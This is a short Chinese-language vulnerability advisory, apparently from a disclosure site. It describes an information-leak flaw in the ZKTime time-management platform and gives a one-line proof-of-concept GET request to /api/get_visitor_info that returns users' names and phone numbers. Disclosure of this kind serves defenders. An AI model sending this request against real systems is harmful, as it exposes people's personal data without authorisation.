ZKTime 时间精细化管理平台 /api/get_visitor_info 信息泄露漏洞

日期: 2025-07-24 | 影响软件: ZKTime | POC: 已公开

漏洞描述

ZKTime 时间精细化管理平台以时间管理作为专业管理方向，环绕六大维度，结合时间、计算、存储三大互联网应用核心要素，以多模态BioCV、物联感知技术和连接能力融入软硬件，为企业带来高安全、实人化、高效率、智慧规范的全新的组织运营管控体验，三者结合提高平台的企业管理实力，最终实现企业/单位的精细化运营管理。攻击者通过构造特殊URL地址，读取用户姓名（ENAME）、手机号码（Mobile、Tele）并显示，导致用户敏感信息泄露。

PoC代码

GET /api/get_visitor_info?table=userinfo HTTP/1.1

相关漏洞推荐